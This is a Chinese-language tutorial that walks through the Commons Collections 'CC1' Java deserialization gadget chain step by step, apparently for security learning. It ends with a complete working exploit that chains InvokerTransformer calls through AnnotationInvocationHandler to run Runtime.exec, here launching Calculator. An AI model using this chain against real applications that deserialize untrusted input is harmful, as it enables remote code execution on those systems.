Java反序列化之CC链1
环境配置
本机系统:MacM1
jdk安装
直接从官网下载jdk8u65
的dmg安装包然后安装jdk
安装依赖包
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
下载源码
为了方便调试,我们需要下载相应.class
文件的源码
对于依赖包,直接通过Maven下载源代码
对于jdk的包,可以从https://github.com/openjdk/jdk8u
下载相应版本的源码,然后在IDEA的SDK中添加源路径
找链子
入口类
CC链1的入口类在InvokerTransformer.transform
中
很明显的一个反射执行,我们可以写个demo测试一下
public static void main(String[] args)throws Exception{
InvokerTransformer.getInstance("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
.transform(Runtime.getRuntime());
}
? -> transform
接下来我们来找找有没有哪个类的哪个函数调用了transform
方法
可以发现在TransformedMap
的checkSetValue
里面调用了transform
这是一个protect
方法,不过其父类的MapEntry.setValue
方法可以调用这个方法
MapEntry
是什么?
我觉得可以理解为遍历一个Map时的迭代器
于是我们又可以写一个demo
? -> setValue
接下来我们来找找有没有哪个类的哪个函数调用了setValue
方法
可以发现在AnnotationInvocationHandler
类的readObject
方法中就有setValue
但是想直接用这个类做入口类还有几个问题:
- Runtime类不能反序列化
- setValue里面的变量不可控
解决Runtime类不能反序列化的问题
考虑用InvokerTransformer
类来导出一个Runtime类:
注意这里的transform
方法实际上构成了一条链
考虑使用ChainedTransformer
类简化一下
于是就解决了Runtime类不能反序列化的问题
解决setValue里面的变量不可控的问题
首先要绕过一开始的一个if
就要求我们一开始实例化AnnotationInvocationHandler
类的时候传入的注解的类要有成员变量
并且我们HashMap中的key值要是那个成员变量名
然后考虑setValue里面的变量不可控的问题
可以利用ConstantTransformer
类作为ChainedTransformer
类的入口,其transformed
方法不论输入什么,输出的都是固定值
Final EXP
public class cc1 {
public static void main(String[] args)throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
}
);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "ok");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = cls.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object exp = con.newInstance(Target.class, transformedMap);
serialize(exp);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}